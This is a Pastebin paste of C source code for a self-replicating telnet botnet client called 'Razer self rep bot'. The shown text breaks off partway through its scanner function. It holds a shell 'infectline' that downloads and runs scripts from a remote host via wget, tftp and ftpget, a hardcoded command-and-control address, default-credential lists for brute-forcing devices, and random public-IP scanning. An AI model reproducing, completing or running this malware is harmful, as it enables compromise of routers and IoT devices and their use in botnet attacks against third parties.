Advertisement
GodAres

[Razor Client]

May 24th, 2017
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 72.31 KB | None | 0 0
  1. /*
  2.           IG:Greek.Ares Kik:XVPL DisCord:Ares#9159
  3.  
  4.                 ~RAZER SELF REP BOT~
  5.             Made by: Qujax & Parallelize
  6.             IG: @custombots & @parallelize
  7.             Skype: @viral_taz & @paralleize
  8.                 DON'T LEAK THIS SHIT!!!
  9.         ██████╗  █████╗ ███████╗███████╗██████╗
  10.         ██╔══██╗██╔══██╗╚══███╔╝██╔════╝██╔══██╗
  11.         ██████╔╝███████║  ███╔╝ █████╗  ██████╔╝
  12.         ██╔══██╗██╔══██║ ███╔╝  ██╔══╝  ██╔══██╗
  13.         ██║  ██║██║  ██║███████╗███████╗██║  ██║
  14.         ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝
  15.  
  16.                  *RAZER SELF REP BOT*
  17. */
  18.  
  19. #define PR_SET_NAME 15
  20. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  21. #define PAD_RIGHT 1
  22. #define PAD_ZERO 2
  23. #define PRINT_BUF_LEN 12
  24. #define CMD_IAC   255
  25. #define CMD_WILL  251
  26. #define CMD_WONT  252
  27. #define CMD_DO    253
  28. #define CMD_DONT  254
  29. #define OPT_SGA   3
  30.  
  31. #include <stdlib.h>
  32. #include <stdarg.h>
  33. #include <stdio.h>
  34. #include <sys/socket.h>
  35. #include <sys/types.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <netdb.h>
  39. #include <signal.h>
  40. #include <strings.h>
  41. #include <string.h>
  42. #include <sys/utsname.h>
  43. #include <unistd.h>
  44. #include <fcntl.h>
  45. #include <errno.h>
  46. #include <netinet/ip.h>
  47. #include <netinet/udp.h>
  48. #include <netinet/tcp.h>
  49. #include <sys/wait.h>
  50. #include <sys/ioctl.h>
  51. #include <net/if.h>
  52.  
  53. char *infectline = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 1.1.1.1 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.1.1.1; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.1.1.1 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  54.  
  55. unsigned char *commServer[] =
  56. {
  57.         "1.1.1.1:23"
  58. };
  59.  
  60. const char *uastrings[] = {
  61.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  62.     "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  63.     "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  64.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  65.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  66.     "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  67.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  68.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  69.     "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  70.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  71.     "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  72.     "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  73.     "wii libnup/1.0",
  74.     "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  75.     "PSP (PlayStation Portable); 2.00",
  76.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  77.     "Doris/1.15 [en] (Symbian)",
  78.     "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  79.     "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  80.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  81.     "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  82.     "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  83.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  84.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  85.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  86.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  87.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  88.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  89.     "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  90.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  91.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  92.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  93.     "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  94.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  95.     "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  96.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  97. };
  98.  
  99. int initConnection();
  100. int getBogos(unsigned char *bogomips);
  101. int getCores();
  102. int getCountry(unsigned char *buf, int bufsize);
  103. void makeRandomStr(unsigned char *buf, int length);
  104. int sockprintf(int sock, char *formatStr, ...);
  105. char *inet_ntoa(struct in_addr in);
  106.  
  107. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  108. uint32_t *pids;
  109. uint32_t scanPid;
  110. uint64_t numpids = 0;
  111. struct in_addr ourIP;
  112. unsigned char macAddress[6] = {0};
  113. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "netgear\0", "cisco\0", "ubnt\0", "telnet\0", "Administrator\0", "comcast\0", "default\0", "password\0", "D-Link\0", "manager\0", "pi\0", "VTech\0" ,"vagrant\0"};
  114. char *passwords[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "netgear\0", "cisco\0", "ubnt\0", "telnet\0", "Administrator\0", "comcast\0", "default\0", "password\0", "123456\0", "changeme\0", "1234\0", "D-Link\0", "manager\0", "pi\0", "raspberry\0", "VTech\0", "vagrant\0, 123\0", "12345\0", "dreambox\0", "test\0"};
  115.  
  116. #define PHI 0x9e3779b9
  117. static uint32_t Q[4096], c = 362436;
  118.  
  119. void init_rand(uint32_t x)
  120. {
  121.         int i;
  122.  
  123.         Q[0] = x;
  124.         Q[1] = x + PHI;
  125.         Q[2] = x + PHI + PHI;
  126.  
  127.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  128. }
  129.  
  130. uint32_t rand_cmwc(void)
  131. {
  132.         uint64_t t, a = 18782LL;
  133.         static uint32_t i = 4095;
  134.         uint32_t x, r = 0xfffffffe;
  135.         i = (i + 1) & 4095;
  136.         t = a * Q[i] + c;
  137.         c = (uint32_t)(t >> 32);
  138.         x = t + c;
  139.         if (x < c) {
  140.                 x++;
  141.                 c++;
  142.         }
  143.         return (Q[i] = r - x);
  144. }
  145.  
  146. void trim(char *str)
  147. {
  148.         int i;
  149.         int begin = 0;
  150.         int end = strlen(str) - 1;
  151.  
  152.         while (isspace(str[begin])) begin++;
  153.  
  154.         while ((end >= begin) && isspace(str[end])) end--;
  155.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  156.  
  157.         str[i - begin] = '\0';
  158. }
  159.  
  160. static void printchar(unsigned char **str, int c)
  161. {
  162.         if (str) {
  163.                 **str = c;
  164.                 ++(*str);
  165.         }
  166.         else (void)write(1, &c, 1);
  167. }
  168.  
  169. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  170. {
  171.         register int pc = 0, padchar = ' ';
  172.  
  173.         if (width > 0) {
  174.                 register int len = 0;
  175.                 register const unsigned char *ptr;
  176.                 for (ptr = string; *ptr; ++ptr) ++len;
  177.                 if (len >= width) width = 0;
  178.                 else width -= len;
  179.                 if (pad & PAD_ZERO) padchar = '0';
  180.         }
  181.         if (!(pad & PAD_RIGHT)) {
  182.                 for ( ; width > 0; --width) {
  183.                         printchar (out, padchar);
  184.                         ++pc;
  185.                 }
  186.         }
  187.         for ( ; *string ; ++string) {
  188.                 printchar (out, *string);
  189.                 ++pc;
  190.         }
  191.         for ( ; width > 0; --width) {
  192.                 printchar (out, padchar);
  193.                 ++pc;
  194.         }
  195.  
  196.         return pc;
  197. }
  198.  
  199. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  200. {
  201.         unsigned char print_buf[PRINT_BUF_LEN];
  202.         register unsigned char *s;
  203.         register int t, neg = 0, pc = 0;
  204.         register unsigned int u = i;
  205.  
  206.         if (i == 0) {
  207.                 print_buf[0] = '0';
  208.                 print_buf[1] = '\0';
  209.                 return prints (out, print_buf, width, pad);
  210.         }
  211.  
  212.         if (sg && b == 10 && i < 0) {
  213.                 neg = 1;
  214.                 u = -i;
  215.         }
  216.  
  217.         s = print_buf + PRINT_BUF_LEN-1;
  218.         *s = '\0';
  219.  
  220.         while (u) {
  221.                 t = u % b;
  222.                 if( t >= 10 )
  223.                 t += letbase - '0' - 10;
  224.                 *--s = t + '0';
  225.                 u /= b;
  226.         }
  227.  
  228.         if (neg) {
  229.                 if( width && (pad & PAD_ZERO) ) {
  230.                         printchar (out, '-');
  231.                         ++pc;
  232.                         --width;
  233.                 }
  234.                 else {
  235.                         *--s = '-';
  236.                 }
  237.         }
  238.  
  239.         return pc + prints (out, s, width, pad);
  240. }
  241.  
  242. static int print(unsigned char **out, const unsigned char *format, va_list args )
  243. {
  244.         register int width, pad;
  245.         register int pc = 0;
  246.         unsigned char scr[2];
  247.  
  248.         for (; *format != 0; ++format) {
  249.                 if (*format == '%') {
  250.                         ++format;
  251.                         width = pad = 0;
  252.                         if (*format == '\0') break;
  253.                         if (*format == '%') goto out;
  254.                         if (*format == '-') {
  255.                                 ++format;
  256.                                 pad = PAD_RIGHT;
  257.                         }
  258.                         while (*format == '0') {
  259.                                 ++format;
  260.                                 pad |= PAD_ZERO;
  261.                         }
  262.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  263.                                 width *= 10;
  264.                                 width += *format - '0';
  265.                         }
  266.                         if( *format == 's' ) {
  267.                                 register char *s = (char *)va_arg( args, int );
  268.                                 pc += prints (out, s?s:"(null)", width, pad);
  269.                                 continue;
  270.                         }
  271.                         if( *format == 'd' ) {
  272.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  273.                                 continue;
  274.                         }
  275.                         if( *format == 'x' ) {
  276.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  277.                                 continue;
  278.                         }
  279.                         if( *format == 'X' ) {
  280.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  281.                                 continue;
  282.                         }
  283.                         if( *format == 'u' ) {
  284.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  285.                                 continue;
  286.                         }
  287.                         if( *format == 'c' ) {
  288.                                 scr[0] = (unsigned char)va_arg( args, int );
  289.                                 scr[1] = '\0';
  290.                                 pc += prints (out, scr, width, pad);
  291.                                 continue;
  292.                         }
  293.                 }
  294.                 else {
  295. out:
  296.                         printchar (out, *format);
  297.                         ++pc;
  298.                 }
  299.         }
  300.         if (out) **out = '\0';
  301.         va_end( args );
  302.         return pc;
  303. }
  304.  
  305. int zprintf(const unsigned char *format, ...)
  306. {
  307.         va_list args;
  308.         va_start( args, format );
  309.         return print( 0, format, args );
  310. }
  311.  
  312. int szprintf(unsigned char *out, const unsigned char *format, ...)
  313. {
  314.         va_list args;
  315.         va_start( args, format );
  316.         return print( &out, format, args );
  317. }
  318.  
  319.  
  320. int sockprintf(int sock, char *formatStr, ...)
  321. {
  322.         unsigned char *textBuffer = malloc(2048);
  323.         memset(textBuffer, 0, 2048);
  324.         char *orig = textBuffer;
  325.         va_list args;
  326.         va_start(args, formatStr);
  327.         print(&textBuffer, formatStr, args);
  328.         va_end(args);
  329.         orig[strlen(orig)] = '\n';
  330.         zprintf("buf: %s\n", orig);
  331.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  332.         free(orig);
  333.         return q;
  334. }
  335.  
  336. static int *fdopen_pids;
  337.  
  338. int fdpopen(unsigned char *program, register unsigned char *type)
  339. {
  340.         register int iop;
  341.         int pdes[2], fds, pid;
  342.  
  343.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  344.  
  345.         if (pipe(pdes) < 0) return -1;
  346.         if (fdopen_pids == NULL) {
  347.                 if ((fds = getdtablesize()) <= 0) return -1;
  348.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  349.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  350.         }
  351.  
  352.         switch (pid = vfork())
  353.         {
  354.         case -1:
  355.                 close(pdes[0]);
  356.                 close(pdes[1]);
  357.                 return -1;
  358.         case 0:
  359.                 if (*type == 'r') {
  360.                         if (pdes[1] != 1) {
  361.                                 dup2(pdes[1], 1);
  362.                                 close(pdes[1]);
  363.                         }
  364.                         close(pdes[0]);
  365.                 } else {
  366.                         if (pdes[0] != 0) {
  367.                                 (void) dup2(pdes[0], 0);
  368.                                 (void) close(pdes[0]);
  369.                         }
  370.                         (void) close(pdes[1]);
  371.                 }
  372.                 execl("/bin/sh", "sh", "-c", program, NULL);
  373.                 _exit(127);
  374.         }
  375.         if (*type == 'r') {
  376.                 iop = pdes[0];
  377.                 (void) close(pdes[1]);
  378.         } else {
  379.                 iop = pdes[1];
  380.                 (void) close(pdes[0]);
  381.         }
  382.         fdopen_pids[iop] = pid;
  383.         return (iop);
  384. }
  385.  
  386. int fdpclose(int iop)
  387. {
  388.         register int fdes;
  389.         sigset_t omask, nmask;
  390.         int pstat;
  391.         register int pid;
  392.  
  393.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  394.         (void) close(iop);
  395.         sigemptyset(&nmask);
  396.         sigaddset(&nmask, SIGINT);
  397.         sigaddset(&nmask, SIGQUIT);
  398.         sigaddset(&nmask, SIGHUP);
  399.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  400.         do {
  401.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  402.         } while (pid == -1 && errno == EINTR);
  403.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  404.         fdopen_pids[fdes] = 0;
  405.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  406. }
  407.  
  408. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  409. {
  410.         int got = 1, total = 0;
  411.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  412.         return got == 0 ? NULL : buffer;
  413. }
  414.  
  415. static const long hextable[] = {
  416.         [0 ... 255] = -1,
  417.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  418.         ['A'] = 10, 11, 12, 13, 14, 15,
  419.         ['a'] = 10, 11, 12, 13, 14, 15
  420. };
  421.  
  422. long parseHex(unsigned char *hex)
  423. {
  424.         long ret = 0;
  425.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  426.         return ret;
  427. }
  428.  
  429. int wildString(const unsigned char* pattern, const unsigned char* string) {
  430.         switch(*pattern)
  431.         {
  432.         case '\0': return *string;
  433.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  434.         case '?': return !(*string && !wildString(pattern+1, string+1));
  435.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  436.         }
  437. }
  438.  
  439. int getHost(unsigned char *toGet, struct in_addr *i)
  440. {
  441.         struct hostent *h;
  442.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  443.         return 0;
  444. }
  445.  
  446. void uppercase(unsigned char *str)
  447. {
  448.         while(*str) { *str = toupper(*str); str++; }
  449. }
  450.  
  451. int getBogos(unsigned char *bogomips)
  452. {
  453.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  454.         char linebuf[4096];
  455.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  456.         {
  457.                 uppercase(linebuf);
  458.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  459.                 {
  460.                         unsigned char *pos = linebuf + 8;
  461.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  462.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  463.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  464.                         strcpy(bogomips, pos);
  465.                         close(cmdline);
  466.                         return 0;
  467.                 }
  468.                 memset(linebuf, 0, 4096);
  469.         }
  470.         close(cmdline);
  471.         return 1;
  472. }
  473.  
  474. int getCores()
  475. {
  476.         int totalcores = 0;
  477.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  478.         char linebuf[4096];
  479.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  480.         {
  481.                 uppercase(linebuf);
  482.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  483.                 memset(linebuf, 0, 4096);
  484.         }
  485.         close(cmdline);
  486.         return totalcores;
  487.  
  488. }
  489.  
  490. void makeRandomStr(unsigned char *buf, int length)
  491. {
  492.         int i = 0;
  493.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  494. }
  495.  
  496. int recvLine(int socket, unsigned char *buf, int bufsize)
  497. {
  498.         memset(buf, 0, bufsize);
  499.  
  500.         fd_set myset;
  501.         struct timeval tv;
  502.         tv.tv_sec = 30;
  503.         tv.tv_usec = 0;
  504.         FD_ZERO(&myset);
  505.         FD_SET(socket, &myset);
  506.         int selectRtn, retryCount;
  507.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  508.                 while(retryCount < 10)
  509.                 {
  510.                         sockprintf(mainCommSock, "PING");
  511.  
  512.                         tv.tv_sec = 30;
  513.                         tv.tv_usec = 0;
  514.                         FD_ZERO(&myset);
  515.                         FD_SET(socket, &myset);
  516.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  517.                                 retryCount++;
  518.                                 continue;
  519.                         }
  520.  
  521.                         break;
  522.                 }
  523.         }
  524.  
  525.         unsigned char tmpchr;
  526.         unsigned char *cp;
  527.         int count = 0;
  528.  
  529.         cp = buf;
  530.         while(bufsize-- > 1)
  531.         {
  532.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  533.                         *cp = 0x00;
  534.                         return -1;
  535.                 }
  536.                 *cp++ = tmpchr;
  537.                 if(tmpchr == '\n') break;
  538.                 count++;
  539.         }
  540.         *cp = 0x00;
  541.  
  542. //      zprintf("recv: %s\n", cp);
  543.  
  544.         return count;
  545. }
  546.  
  547. int connectTimeout(int fd, char *host, int port, int timeout)
  548. {
  549.         struct sockaddr_in dest_addr;
  550.         fd_set myset;
  551.         struct timeval tv;
  552.         socklen_t lon;
  553.  
  554.         int valopt;
  555.         long arg = fcntl(fd, F_GETFL, NULL);
  556.         arg |= O_NONBLOCK;
  557.         fcntl(fd, F_SETFL, arg);
  558.  
  559.         dest_addr.sin_family = AF_INET;
  560.         dest_addr.sin_port = htons(port);
  561.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  562.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  563.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  564.  
  565.         if (res < 0) {
  566.                 if (errno == EINPROGRESS) {
  567.                         tv.tv_sec = timeout;
  568.                         tv.tv_usec = 0;
  569.                         FD_ZERO(&myset);
  570.                         FD_SET(fd, &myset);
  571.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  572.                                 lon = sizeof(int);
  573.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  574.                                 if (valopt) return 0;
  575.                         }
  576.                         else return 0;
  577.                 }
  578.                 else return 0;
  579.         }
  580.  
  581.         arg = fcntl(fd, F_GETFL, NULL);
  582.         arg &= (~O_NONBLOCK);
  583.         fcntl(fd, F_SETFL, arg);
  584.  
  585.         return 1;
  586. }
  587.  
  588. int listFork()
  589. {
  590.         uint32_t parent, *newpids, i;
  591.         parent = fork();
  592.         if (parent <= 0) return parent;
  593.         numpids++;
  594.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  595.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  596.         newpids[numpids - 1] = parent;
  597.         free(pids);
  598.         pids = newpids;
  599.         return parent;
  600. }
  601.  
  602. int negotiate(int sock, unsigned char *buf, int len)
  603. {
  604.         unsigned char c;
  605.  
  606.         switch (buf[1]) {
  607.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  608.         case CMD_WILL:
  609.         case CMD_WONT:
  610.         case CMD_DO:
  611.         case CMD_DONT:
  612.                 c = CMD_IAC;
  613.                 send(sock, &c, 1, MSG_NOSIGNAL);
  614.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  615.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  616.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  617.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  618.                 send(sock, &c, 1, MSG_NOSIGNAL);
  619.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  620.                 break;
  621.  
  622.         default:
  623.                 break;
  624.         }
  625.  
  626.         return 0;
  627. }
  628.  
  629. int matchPrompt(char *bufStr)
  630. {
  631.         char *prompts = ":>%$#\0";
  632.  
  633.         int bufLen = strlen(bufStr);
  634.         int i, q = 0;
  635.         for(i = 0; i < strlen(prompts); i++)
  636.         {
  637.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  638.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  639.         }
  640.  
  641.         return 0;
  642. }
  643.  
  644. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  645. {
  646.         int bufferUsed = initialIndex, got = 0, found = 0;
  647.         fd_set myset;
  648.         struct timeval tv;
  649.         tv.tv_sec = timeout;
  650.         tv.tv_usec = timeoutusec;
  651.         unsigned char *initialRead = NULL;
  652.  
  653.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  654.         {
  655.                 FD_ZERO(&myset);
  656.                 FD_SET(fd, &myset);
  657.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  658.                 initialRead = buffer + bufferUsed;
  659.                 got = recv(fd, initialRead, 1, 0);
  660.                 if(got == -1 || got == 0) return 0;
  661.                 bufferUsed += got;
  662.                 if(*initialRead == 0xFF)
  663.                 {
  664.                         got = recv(fd, initialRead + 1, 2, 0);
  665.                         if(got == -1 || got == 0) return 0;
  666.                         bufferUsed += got;
  667.                         if(!negotiate(fd, initialRead, 3)) return 0;
  668.                 } else {
  669.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  670.                 }
  671.         }
  672.  
  673.         if(found) return 1;
  674.         return 0;
  675. }
  676.  
  677. static uint8_t ipState[5];
  678. in_addr_t getRandomPublicIP()
  679. {
  680.         uint8_t ipState[4] = {0};
  681.         ipState[0] = rand() % 255;
  682.         ipState[1] = rand() % 255;
  683.         ipState[2] = rand() % 255;
  684.         ipState[3] = rand() % 255;
  685.         while(
  686.                 (ipState[1] == 0) ||
  687.                 (ipState[1] == 10) ||
  688.                 (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  689.                 (ipState[1] == 127) ||
  690.                 (ipState[1] == 169 && ipState[2] == 254) ||
  691.                 (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  692.                 (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  693.                 (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  694.                 (ipState[1] == 192 && ipState[2] == 168) ||
  695.                 (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  696.                 (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  697.                 (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  698.                 (ipState[1] >= 224)
  699.         )
  700.         {
  701.                 ipState[0] = rand() % 255;
  702.                 ipState[1] = rand() % 255;
  703.                 ipState[2] = rand() % 255;
  704.                 ipState[3] = rand() % 255;
  705.         }
  706.         char ip[16] = {0};
  707.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  708.         return inet_addr(ip);
  709. }
  710.  
  711. in_addr_t getRandomIP(in_addr_t netmask)
  712. {
  713.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  714.         return tmp ^ ( rand_cmwc() & ~netmask);
  715. }
  716.  
  717. unsigned short csum (unsigned short *buf, int count)
  718. {
  719.         register uint64_t sum = 0;
  720.         while( count > 1 ) { sum += *buf++; count -= 2; }
  721.         if(count > 0) { sum += *(unsigned char *)buf; }
  722.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  723.         return (uint16_t)(~sum);
  724. }
  725.  
  726. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  727. {
  728.  
  729.         struct tcp_pseudo
  730.         {
  731.                 unsigned long src_addr;
  732.                 unsigned long dst_addr;
  733.                 unsigned char zero;
  734.                 unsigned char proto;
  735.                 unsigned short length;
  736.         } pseudohead;
  737.         unsigned short total_len = iph->tot_len;
  738.         pseudohead.src_addr=iph->saddr;
  739.         pseudohead.dst_addr=iph->daddr;
  740.         pseudohead.zero=0;
  741.         pseudohead.proto=IPPROTO_TCP;
  742.         pseudohead.length=htons(sizeof(struct tcphdr));
  743.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  744.         unsigned short *tcp = malloc(totaltcp_len);
  745.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  746.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  747.         unsigned short output = csum(tcp,totaltcp_len);
  748.         free(tcp);
  749.         return output;
  750. }
  751.  
  752. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  753. {
  754.         iph->ihl = 5;
  755.         iph->version = 4;
  756.         iph->tos = 0;
  757.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  758.         iph->id = rand_cmwc();
  759.         iph->frag_off = 0;
  760.         iph->ttl = MAXTTL;
  761.         iph->protocol = protocol;
  762.         iph->check = 0;
  763.         iph->saddr = source;
  764.         iph->daddr = dest;
  765. }
  766.  
  767. int sclose(int fd)
  768. {
  769.         if(3 > fd) return 1;
  770.         close(fd);
  771.         return 0;
  772. }
  773.  
  774. void StartTheLelz()
  775. {
  776.         int max = (getdtablesize() / 4) * 3, i, res;
  777.         fd_set myset;
  778.         struct timeval tv;
  779.         socklen_t lon;
  780.         int valopt;
  781.  
  782.         max = max > 512 ? 512 : max;
  783.  
  784.         struct sockaddr_in dest_addr;
  785.         dest_addr.sin_family = AF_INET;
  786.         dest_addr.sin_port = htons(23);
  787.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  788.  
  789.         struct telstate_t
  790.         {
  791.                 int fd;
  792.                 uint32_t ip;
  793.                 uint8_t state;
  794.                 uint8_t complete;
  795.                 uint8_t usernameInd;
  796.                 uint8_t passwordInd;
  797.                 uint32_t totalTimeout;
  798.                 uint16_t bufUsed;
  799.                 char *sockbuf;
  800.         } fds[max];
